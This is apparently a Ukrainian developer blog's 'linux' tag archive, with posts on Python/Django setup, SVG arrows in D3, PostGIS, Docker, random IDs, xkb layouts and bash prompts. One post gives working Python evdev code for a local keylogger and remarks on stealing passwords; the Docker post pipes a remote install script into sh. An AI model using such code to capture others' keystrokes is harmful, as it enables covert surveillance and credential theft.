Tag Archives: linux

Встановлення Python 3.5 з джерельного коду, встановлення Django

Ок, продовжу спроби підготуватись до DjangoGirls так, щоб там ми вчили найпередовіші технології. :)

Такі експерименти краще робити у захищеному середовищі, тому бажано щоб у вас були VirtualBox та Vagrant:

sudo apt-get install virtualbox vagrant

Поки вони ставляться, раджу коротко ознайомитись як користуватись тим Vagrant-ом.

В директорії з кодом створюємо такий файл:

# -*- mode: ruby -*-
# vi: set ft=ruby :

VAGRANTFILE_API_VERSION = "2"

Vagrant.configure(VAGRANTFILE_API_VERSION) do |config|
  config.vm.box = "ubuntu/trusty64"
  config.vm.network "forwarded_port", guest: 8000, host: 8000
end

Це поки що він такий. Пізніше поміняю, і вся інсталяція має більш автоматизуватись. Тепер команда vagrant up дозволяє підняти чисте середовище. vagrant ssh – зайти в його термінал.

Ми хочемо Python 3.5, а його інакше як з сорсів не отримаєш, тому качаємо з сайту: https://www.python.org/downloads/

sudo apt-get update
sudo apt-get install build-essential libsqlite3-dev sqlite3 bzip2 libbz2-dev
sudo apt-get install libreadline-dev libncurses5-dev tk-dev libssl-dev
wget -c https://www.python.org/ftp/python/3.5.0/Python-3.5.0.tar.xz
tar xJf Python-3.5.0.tar.xz
cd Python-3.5.0
./configure
make
sudo make install

Тепер нарешті можна створювати віртуальне середовище (всередині віртуальної машини, ага), і ставити Django:

mkdir djangogirls
cd djangogirls
python3.5 -m venv myenv
source myenv/bin/activate
pip install django

Та-дааммм!!!

Successfully installed django-1.9

Не знав що вже є Django 1.9. Хоча, звісно що не знав, його вчора випустили. Кажуть там змінили дизайн адмінки. Давайте швиденько подивимось:

django-admin startproject mysite .
python manage.py migrate
python manage.py createsuperuser
python manage.py runserver
Адмінка як адмінка.

Адмінка як адмінка.


Filed under: Інструменти, Кодерство Tagged: linux, Python

Як намалювати стрілочку в SVG

Креслення стрілочки, з позначенням деяких змінних

Креслення стрілочки, з позначенням деяких змінних

Поточна ситуація така, що на запит “як намалювати стрілочку”, Google видає купу порад дівчатам про те як зашпаклювати лице. Але проблема трапляється часто, і не тільки в SVG, ось наприклад старий пост про те як малювати вектори в OpenGL, для програмки що проводить структурний аналіз кінематики машин і механізмів. Тому треба виправити цю ситуацію, і написати ще пару публікацій про малювання стрілочок. :)

Тут буде код який було весело писати, і яким варто поділитись. Присутній також JsFiddle. Код дозволяє малювати стрілочки наступного вигляду:

arrows


Написано з використанням D3.js, але код можна причепити де завгодно, так як головне тут – функція arrow_path, яка генерує значення атрибуту d для тега path. Приймає вона координати початку і кінця стрілки, ширину лінії стрілки, радіус (задає розмір трикутника на кінці стрілки, і радіус gizmo (пімпочки на середині)). directed – булевий аргумент, що вказує чи малювати стрілочку на кінці лінії взагалі. gizmo – якщо false – пімпочки не буде, 'circle' – буде коло, 'diamond' – буде ромбик.

Думаю тут можна було б ще зекономити на ручному перетворенні систем координат, бо виходить забагато арифметики. Натомість використати translate, але щось зразу не додумався. Правда воно і так не тормозить, навіть коли малює отаке чудо:

large_map

Сучасні браузери – потужні машини!

var panel = d3.select('body');

svg = panel.append('svg')
    .attr('width', 500)
    .attr('height', 500);


var arrow_path = function(x1, y1, x2, y2, width, r, directed, gizmo) {
    var dx = x2 - x1; // direction of arrow
    var dy = y2 - y1;
    var l = Math.sqrt(dx * dx + dy * dy); // length of arrow
    var fx = dx / l; // forward vector
    var fy = dy / l;
    
    var lx = -fy; // side vector
    var ly = fx;
    
    var line_rectangle = [
        (x1 + lx*width) + ',' + (y1 + ly*width),
        (x2 + lx*width) + ',' + (y2 + ly*width),
        (x2 - lx*width) + ',' + (y2 - ly*width),
        (x1 - lx*width) + ',' + (y1 - ly*width)
    ];
    
    var alx, aly, arx, ary;
    if (directed) {
        alx = x2 - fx*r*2 + lx*r;
        aly = y2 - fy*r*2 + ly*r;
        arx = x2 - fx*r*2 - lx*r;
        ary = y2 - fy*r*2 - ly*r;
    };
    
    var get_end_points = function () {
        // return list of end vertexes that for an arrow or just side of rectangle.
        if(directed) {            
            return [
                'L' + (x2 - fx*r*2 + lx * width) + ',' + (y2 - fy*r*2 + ly * width),
                'L' + (x2 - fx*r*2 + lx * r) + ',' + (y2 - fy*r*2 + ly * r),
                'L' + x2 + ',' + y2,
                'L' + (x2 - fx*r*2 - lx * r) + ',' + (y2 - fy*r*2 - ly * r),
				'L' + (x2 - fx*r*2 - lx * width) + ',' + (y2 - fy*r*2 - ly * width),
            ];      
        } else {
            return [
                'L' + line_rectangle[1],
                'L' + line_rectangle[2],
            ];

        };
    };
    
    if (!gizmo) {
        return [
            'M' + x1 + ',' + y1,
            'L' + line_rectangle[0]
        ].concat(
            get_end_points(),
            [
                'L' + line_rectangle[3],
                'L' + x1 + ',' + y1,
            ]
        ).join(' ');
    };
    
    var cx = (x1 + x2) / 2;
    var cy = (y1 + y2) / 2;
    var h = Math.sqrt(r*r - width*width);
    
    var arc_rectangle = [
        (cx - fx*h + lx*width) + ',' + (cy - fy*h + ly*width),
        (cx + fx*h + lx*width) + ',' + (cy + fy*h + ly*width),
        (cx + fx*h - lx*width) + ',' + (cy + fy*h - ly*width),
        (cx - fx*h - lx*width) + ',' + (cy - fy*h - ly*width),
    ];
    
    if (gizmo === 'circle') {
        return [
            'M' + x1 + ',' + y1,
            'L' + line_rectangle[0],
            'L' + arc_rectangle[0],
            'A' + r + ',' + r + ' 0 0,0 ' + arc_rectangle[1],
        ].concat(
            get_end_points(),
            [
                'L' + arc_rectangle[2],
                'A' + r + ',' + r + ' 0 0,0 ' + arc_rectangle[3],
                'L' + line_rectangle[3],
                'L' + x1 + ',' + y1,
            ]
        ).join(' ');
    };
    
    if (gizmo === 'diamond') {
        return [
            'M' + x1 + ',' + y1,
            'L' + line_rectangle[0],
            'L' + arc_rectangle[0],
            'L' + (cx + lx * r) + ',' + (cy + ly*r),
            'L' + arc_rectangle[1],
        ].concat(
            get_end_points(),
            [
                'L' + arc_rectangle[2],
                'L' + (cx - lx * r) + ',' + (cy - ly*r),
                'L' + arc_rectangle[3],
                'L' + line_rectangle[3],
                'L' + x1 + ',' + y1,
            ]
        ).join(' ');
    };
    
    throw 'Unknown gizmo value'
};

svg.append('path')
    .attr("d", arrow_path(0, 100, 200, 300, 2, 10, false, 'circle'));

svg.append('path')
    .attr("d", arrow_path(50, 100, 250, 300, 2, 10, false, false));

svg.append('path')
    .attr("d", arrow_path(100, 100, 300, 300, 2, 10, true, false));

svg.append('path')
    .attr("d", arrow_path(150, 100, 350, 300, 2, 10, true, 'circle'));

svg.append('path')
    .attr("d", arrow_path(200, 100, 400, 300, 2, 10, true, 'diamond'));

В кінцевому результаті виходить подібний SVG:

<path d="M150,100 L148.5857864376269,101.41421356237309 L241.6575832073514,194.4860103320976 A10,10 0 0,0 255.51398966790242,208.3424167926486 L334.44365081389594,287.27207793864216 L328.7867965644036,292.9289321881345 L350,300 L342.9289321881345,278.7867965644036 L337.27207793864216,284.44365081389594 L258.34241679264863,205.5139896679024 A10,10 0 0,0 244.4860103320976,191.6575832073514 L151.4142135623731,98.58578643762691 L150,100">

<path d="M200,100 L199.29289321881345,100.70710678118655 L292.2572695790783,193.6714831414514 L292.9289321881345,207.07106781186548 L306.3285168585486,207.7427304209217 L385.1507575950825,286.5649711574556 L378.7867965644036,292.9289321881345 L400,300 L392.9289321881345,278.7867965644036 L386.5649711574556,285.1507575950825 L307.7427304209217,206.3285168585486 L307.0710678118655,192.92893218813452 L293.6714831414514,192.2572695790783 L200.70710678118655,99.29289321881345 L200,100">

Страшненько, в порівнянні з line тому добре що його можна не руками писати.

P.S. Є ще простіший спосіб – називається SVG marker. Правда з ним біда – маркер має окремі обробники для всіх подій миші, тому якщо вішати функції на ці події – якщо миша буде над маркером а не над лінією – не спрацює. Інша проблема – маркер не змінює колір коли змінювати колір лінії. Цей код уникає цих двох проблем. Але якщо вас події і кольори не цікавлять – користуйтесь маркерами.


Filed under: Графіка, Кодерство Tagged: графіка, JavaScript, linux

PostgreSQL & PostGIS “Hello world”

Інсталяція:

sudo apt-get install -y postgresql postgresql-contrib postgis

Після чого від імені користувача postgres (це суперкористувач для postgres), створюємо користувача gisuser та базу для нього, яку наприклад назвемо gis:

sudo -u postgres createuser gisuser
sudo -u postgres createdb --encoding=UTF-8 --owner=gisuser gis
# і створимо пароль для користувача:
sudo -u postgres psql -d gis -c "ALTER USER gisuser WITH PASSWORD 'password';"

# і увімкнути розширення postgis:
sudo -u postgres psql -d gis -c "CREATE EXTENSION postgis;"
sudo -u postgres psql -d gis -c "CREATE EXTENSION postgis_topology;"
CREATE EXTENSION

Тепер ми можемо з’єднуватись з нашою базою за допомогою клієнта, вказавши базу і користувача:

psql -d gis -U gisuser

У випадку отримання помилки:

psql: FATAL:  Peer authentication failed for user

Треба відредагувати файл sudo vim /etc/postgresql/9.4/main/pg_hba.conf, чи який там буде для вашої версії, і зробити таку заміну десь ближче до кінця:

- local   all             all                                     peer
+ local   all             all                                     md5

Тоді можна буде логінитись (дивно, але в мене навіть пароль не питає), і виконувати запити:

select postgis_full_version();
-- В мене дає щось схоже на:
-- POSTGIS="2.1.5 r13152" GEOS="3.4.2-CAPI-1.8.2 r3921"
-- PROJ="Rel. 4.8.0, 6 March 2012" GDAL="GDAL 1.11.2, released 2015/02/10"
-- LIBXML="2.9.2" LIBJSON="UNKNOWN" RASTER

Можна ще поставити гарний GUI-клієнт:

sudo apt-get install -y pgadmin3

Гаразд, давайте тепер створимо табличку з містами:

CREATE TABLE cities ( 
    id SERIAL PRIMARY KEY,
    name VARCHAR(100),
    location GEOGRAPHY(POINT,4326)
);

4326 це ідентифікатор системи координат (SRID, Spatial Reference system ID) і означає що ми використовуватимемо систему координат WGS 84. Здається це популярна система координат.

Тепер заповнимо таблицю якимись даними:

INSERT INTO cities (name, location) VALUES
 ('Львів', ST_GeographyFromText('SRID=4326;POINT(49.83 24.014167)') ),
 ('Київ', ST_GeographyFromText('SRID=4326;POINT(50.45 30.523611)') ),
 ('Івано-Франківськ', ST_GeographyFromText('SRID=4326;POINT(48.922778 24.710556)') )
;

І спробуємо зробити якийсь запит, наприклад скільки метрів від Львова до Києва:

select ST_Distance(
    (select location from cities where name='Львів'),
    (select location from cities where name='Київ')
);

І цей запит дає мені 723904.293225235, що приблизно 723 км, в той час як до Києва по прямій менш ніж 500 км. Я вибрав неправильну проекцію, або переписав з вікіпедії неправильні координати, або передав функції якісь неправильні параметри. :(

Але на сьогодні напевне просто піду спати. До речі, може ви підкажете в чому помилка?

Посилання


Filed under: Інструменти, Кодерство Tagged: linux

Шпаргалка по Docker

Docker в порівнянні з гіпервізором другого типу.

Docker в порівнянні з гіпервізором другого типу.

Докер – штука для керування лінукс-контейнерами. А Лінукс-контейнери – це особливий вид гіпервізора, який дозволяє створювати на лінуксі віртуальні лінукси. Це мінус що тільки лінукси, але плюс що ядро операційної системи для кожного контейнера спільне, тому ці контейнери набагато легші в порівнянні з повноцінними віртуальними машинами.

Віртуальні машини корисні для ізоляції середовища. Наприклад середовища розробки. Хоча цим може займатись і Vagrant. А ще Vagrant може керувати не тільки машинами на VirtualBox, а й контейнерами Docker. Коли що використувати – здається справа особистих вподобань. Хоча мені кажуть що так як контейнери більш легковісні, тут інша філософія роботи, наприклад “кожному процесу свій контейнер”. Ось цікаве обговорення питання що коли варто використовувати, в якому беруть участь автор Vagrant та автор Docker.

Але краще раз попробувати ніж сто разів прочитати:

Інсталяція

На Linux найпростіше, хоч і не безпечно:

wget -qO- https://get.docker.com/ | sh

Запуск контейнера

bunyk@ubuntu:~$ docker run docker/whalesay cowsay boo 
Post http:///var/run/docker.sock/v1.19/containers/create: dial unix 
/var/run/docker.sock: no such file or directory.
Are you trying to connect to a TLS-enabled daemon without TLS?

Якщо бачите таку помилку – значить або докер ще не запущений:

bunyk@ubuntu:~$ sudo service docker start

Або ваш користувач не знаходиться в групі докера:

sudo usermod -aG docker bunyk

Різні інші дії

# скачати образ (щоб він не качався коли ми будемо робити йому run)
docker pull

# список всіх скачаних образів
docker images

# всі запущені контейнери
docker ps

# всі (не лише запущені) контейнери
docker ps -a

# показати лише ідентифікатори контейнерів
docker ps -q

 # видалити всі контейнери
docker rm $(docker ps -aq)

# останній запущений контейнер
docker ps -l

# видалити контейнер
docker rm

# видалити образ
docker rmi

# запустити інтерактивну програму в контейнері
docker run -t -i debian /bin/bash

# запустити демона в контейнері
docker run -d debian /bin/sh -c "while true; do echo hello world; sleep 1; done"

# запустити контейнер так, що директорію хоста /host/dir буде змонтовано як /container/dir
docker run -v /host/dir:/container/dir debian

# слідкувати за логами демона в контейнері
docker logs -f ecstatic_lovelace

# збудувати образ з Dockerfile поточної директорії
docker build -t ouruser/ourrepo .

Filed under: Інструменти, Кодерство Tagged: linux

Шпаргалка по Docker

Docker в порівнянні з гіпервізором другого типу.

Docker в порівнянні з гіпервізором другого типу.

Докер – штука для керування лінукс-контейнерами. А Лінукс-контейнери – це особливий вид гіпервізора, який дозволяє створювати на лінуксі віртуальні лінукси. Це мінус що тільки лінукси, але плюс що ядро операційної системи для кожного контейнера спільне, тому ці контейнери набагато легші в порівнянні з повноцінними віртуальними машинами.

Віртуальні машини корисні для ізоляції середовища. Наприклад середовища розробки. Хоча цим може займатись і Vagrant. А ще Vagrant може керувати не тільки машинами на VirtualBox, а й контейнерами Docker. Коли що використувати – здається справа особистих вподобань. Хоча мені кажуть що так як контейнери більш легковісні, тут інша філософія роботи, наприклад “кожному процесу свій контейнер”. Ось цікаве обговорення питання що коли варто використовувати, в якому беруть участь автор Vagrant та автор Docker.

Але краще раз попробувати ніж сто разів прочитати:

Інсталяція

На Linux найпростіше, хоч і не безпечно:

wget -qO- https://get.docker.com/ | sh

Запуск контейнера

bunyk@ubuntu:~$ docker run docker/whalesay cowsay boo 
Post http:///var/run/docker.sock/v1.19/containers/create: dial unix 
/var/run/docker.sock: no such file or directory.
Are you trying to connect to a TLS-enabled daemon without TLS?

Якщо бачите таку помилку – значить або докер ще не запущений:

bunyk@ubuntu:~$ sudo service docker start

Або ваш користувач не знаходиться в групі докера:

sudo usermod -aG docker bunyk

Різні інші дії

# скачати образ (щоб він не качався коли ми будемо робити йому run)
docker pull

# список всіх скачаних образів
docker images

# всі запущені контейнери
docker ps

# всі (не лише запущені) контейнери
docker ps -a

# показати лише ідентифікатори контейнерів
docker ps -q

 # видалити всі контейнери
docker rm $(docker ps -aq)

# останній запущений контейнер
docker ps -l

# видалити контейнер
docker rm

# видалити образ
docker rmi

# запустити інтерактивну програму в контейнері
docker run -t -i debian /bin/bash

# запустити демона в контейнері
docker run -d debian /bin/sh -c "while true; do echo hello world; sleep 1; done"

# запустити контейнер так, що директорію хоста /host/dir буде змонтовано як /container/dir
docker run -v /host/dir:/container/dir debian

# слідкувати за логами демона в контейнері
docker logs -f ecstatic_lovelace

# збудувати образ з Dockerfile поточної директорії
docker build -t ouruser/ourrepo .

Filed under: Інструменти, Кодерство Tagged: linux

Випадковий ідентифікатор в Python

Можна отримати так:

import random
def random_id(length=6):
   return ''.join(
        random.choice(string.lowercase)
        for i in range(length)
    )

###############
>>> random_id()
'kqxmua'

Якщо треба особливо оформлений, як от IP, чи MAC-адреса, то можна зробити перетворення:

def asmac(val):
    """Convert a byte string to a MAC address string.  """
    return ':'.join('%02X' % ord(c) for c in val)

def random_mac():
    return asmac(random_id())

###################
>>> random_mac()
'78:71:6A:72:6E:63'

Але такі ідентифікатори як “kqxmua” нормальній людині важко запам’ятати, бо вони не асоціюються з жодними поняттями. Ну окрім частинки “ua”, але й то вона туди випадково потрапила. Проте, в Linux можна легко отримати випадкове слово, бо в ньому є словник:

def random_word():
    return random.choice(
        open('/usr/share/dict/words').readlines() # жертиме пам’ять! 
    ).strip()

#################
'.join(random_word() for i in range(5))
'hermitical, Canter, Paryavi, mergences, Mind'

Хоча я знайомий лише з “hermitical” та “mind”, але асоціації вже легше побудувати, правда?


Filed under: Всяке, Кодерство Tagged: linux, Python

Випадковий ідентифікатор в Python

Можна отримати так:

import random
def random_id(length=6):
   return ''.join(
        random.choice(string.lowercase)
        for i in range(length)
    )

###############
>>> random_id()
'kqxmua'

Якщо треба особливо оформлений, як от IP, чи MAC-адреса, то можна зробити перетворення:

def asmac(val):
    """Convert a byte string to a MAC address string.  """
    return ':'.join('%02X' % ord(c) for c in val)

def random_mac():
    return asmac(random_id())

###################
>>> random_mac()
'78:71:6A:72:6E:63'

Але такі ідентифікатори як “kqxmua” нормальній людині важко запам’ятати, бо вони не асоціюються з жодними поняттями. Ну окрім частинки “ua”, але й то вона туди випадково потрапила. Проте, в Linux можна легко отримати випадкове слово, бо в ньому є словник:

def random_word():
    return random.choice(
        open('/usr/share/dict/words').readlines() # жертиме пам’ять! 
    ).strip()

#################
'.join(random_word() for i in range(5))
'hermitical, Canter, Paryavi, mergences, Mind'

Хоча я знайомий лише з “hermitical” та “mind”, але асоціації вже легше побудувати, правда?


Filed under: Всяке, Кодерство Tagged: linux, Python

Пишемо простий keylogger для Linux

Кейлоггер це така шкідлива корисна програма яка записує всі натискання клавіш користувачем в будь-яких інших програмах операційної системи. І сьогодні ми вивчатимемо як таке написати. Якщо ви навчитесь працювати з файлами в Linux – ви зможете все. Серйозно. Тому я колись планую детально вивчити і написати про файли там.

Все в лінуксі файл, і клавіатура – теж. Щоб знати який – відкриваємо /proc/bus/input/devices. Нас цікавить абзац в якому написано про клавіатуру, і він зазвичай містить рядок EV=120013, тому можете пошукати його. Коли знайшли абзац, читаємо в ньому рядок H: Handlers=sysrq kbd event3.

Можна дістати однією командою:

cat /proc/bus/input/devices | grep EV=120013 -B 2 | grep event

Слово event3 означає що нам треба читати файл пристрою /dev/input/event3.

Так як в заголовку було слово простий, ми спростимо собі життя і поставимо деяку бібліотеку:

pip-2.7 install evdev

Ця бібліотека працює з пристроями подій (тобто клавіатурою, мишею і т.п.). Далі вставлю зразу код, тому що він відкоментований і очевидний:

# coding=utf-8

import sys
from evdev import InputDevice, categorize, KeyEvent

def main():
    if len(sys.argv) &amp;amp;lt; 2:
        print('Please pass device (/dev/input/eventX) as first argument.')
        return

    log_keys(sys.argv[1])


def log_keys(device):
    for event in InputDevice(device).read_loop():
        # Перетворити загальну подію в подію певного класу
        event = categorize(event)
        if (
            isinstance(event, KeyEvent) # нас цікавлять події клавіатури
            # а саме - натискання
            and (event.keystate == KeyEvent.key_down)
        ):
            # keycode - це рядок виду &quot;KEY_S&quot;, тому ми обрізаємо &quot;KEY_&quot;
            # і виводимо всі клавіші в одному рядку, через кому
            print(event.keycode[4:], end=', ')
            # так як вивід буферизований, а буфер починає записуватись коли
            # починається новий рядок, нам потрібно його вручну змусити 
            # виводитись:
            sys.stdout.flush()
            
if __name__ == '__main__':
    main()

Тепер, коли це все запустити для пристрою який в нас займається клавіатурою, можна побачити натиснені клавіші. Наприклад, що я тиснув, коли писав цю публікацію:

$~ sudo python3.3 keylogger.py /dev/input/event3
... F12, LEFTBRACE, S, O, U, R, C, E, C, O, D, E, SPACE,
L, A, N, G, U, A, G, E, EQUAL, LEFTSHIFT, APOSTROPHE,
P, Y, T, H, O, N, LEFTSHIFT, APOSTROPHE, RIGHTBRACE,
LEFTBRACE, SLASH, S, O, U, R, C, E, C, O, D, E, RIGHTBRACE,
LEFTSHIFT, ENTER, N, BACKSPACE, P, L, A, I, N, WAKEUP, F12, 

Щоб свиснути чийсь пароль звісно ще доведеться записувати не тільки коли SHIFT опущено, але й коли піднято, але не варто таким займатись. :)

Посилання

  1. logkeys.cc:49
  2. logkeys.cc - determine_input_device
  3. github.com – evdev

Картинка для привертання уваги:
Backlit keyboard


Filed under: Кодерство Tagged: linux, Python

Німецьке QWERTY

Німці використовують деякі букви, яких нема в стандартній латинській розкладці: ÄÖÜẞ, тому існує окрема німецька розкладка. Але біда, біда, вона не QWERTY, а QWERTZ, і Z та Y поміняні місцями. Правильної розкладки чомусь нема, тому я вирішив зробити свою. Має працювати на всіх системах що використовують X keyboard extension з X Window System.

Замість кнопки “-” отримуємо “ß”, замість “[” – “Ü”, “;” – “Ö” ну а замість “‘” – “Ä”. Всі інші залишаються на місці, а не перескакують чорт зна куди як в традиційній німецькій розкладці.

Відкриваємо розкладки для Німеччини:

cd /usr/share/X11/xkb/
sudo vim symbols/de

Додаємо розкладку з наступними клавішами (наслідується від базової американської):

xkb_symbols "germanqwerty" {
    include "us(basic)"
    name[Group1]="German (QWERTY)";

    key <AD11>	{ [udiaeresis, Udiaeresis, dead_diaeresis, dead_abovering ] };
    key <AC10>	{ [odiaeresis, Odiaeresis, dead_doubleacute, dead_belowdot ] };
    key <AC11>	{ [adiaeresis, Adiaeresis, dead_circumflex, dead_caron ] };
    key <AE11> {type[Group1]="FOUR_LEVEL_PLUS_LOCK",  symbols[Group1]=
                  [ssharp, question, backslash, questiondown, 0x1001E9E ]};
};

Далі додаємо нову розкладку до списку відомих:

cd /usr/share/X11/xkb/
sudo vim rules/evdev.xml

Знаходимо список розкладок для Німеччини і додаємо туди свій варіант:

        <variant>
          <configItem>
            <name>germanqwerty</name>
            <description>German (QWERTY)</description>
          </configItem>
        </variant>

Далі треба розлогінитись і залогінитись заново, і можна додавати розкладки через аплет панелі робочого стола.

Посилання


Filed under: Кодерство, Конспекти Tagged: deutsch, linux

Покращене запрошення до вводу $ ▮

Кольорове запрошення до вводу дозволяє візуально виділяти місця де ви ввели команду і лог виконання команди.

Для цього, потрібно задати змінну середовища PS1 в файлі ~/.bashrc для звичайного і для суперкористувача.

Наприклад:

export PS1="\[\e[0;34m\]\u@\h : \w\[\e[m\]\n\[\e[0;32m\]\A \$> \[\e[m\]"
export PS1="\[\e[0;34m\]┌─[\u@\h : \w\n└─[\[\e[0;31m\]\A\[\e[0;34m\]]─> \$ \[\e[m\]"

\[Все що поміщається в екрановані квадратні дужки\] – не враховується при обчисленні довжини запрошення, і важливо поміщати в такі дужки невидимі символи, бо довжина запрошення впливає на те як відображатиметься команда наприклад при навігації по історії команд.

\e[0;34m – синій колір, \e[0;32m – зелений, \e[m – повернутись до звичайного кольору. Повний список кольорів наприклад тут.

\u – користувач, \h – ім’я хоста до першої крапки, \w – повний шлях до поточної директорії, \A – час в 24-годинному форматі HH:MM, \$ – #, якщо ефективний UID користувача 0, інакше – $. Більше можна через man bash, в секції PROMPTING.


Filed under: Інструменти, Кодерство Tagged: linux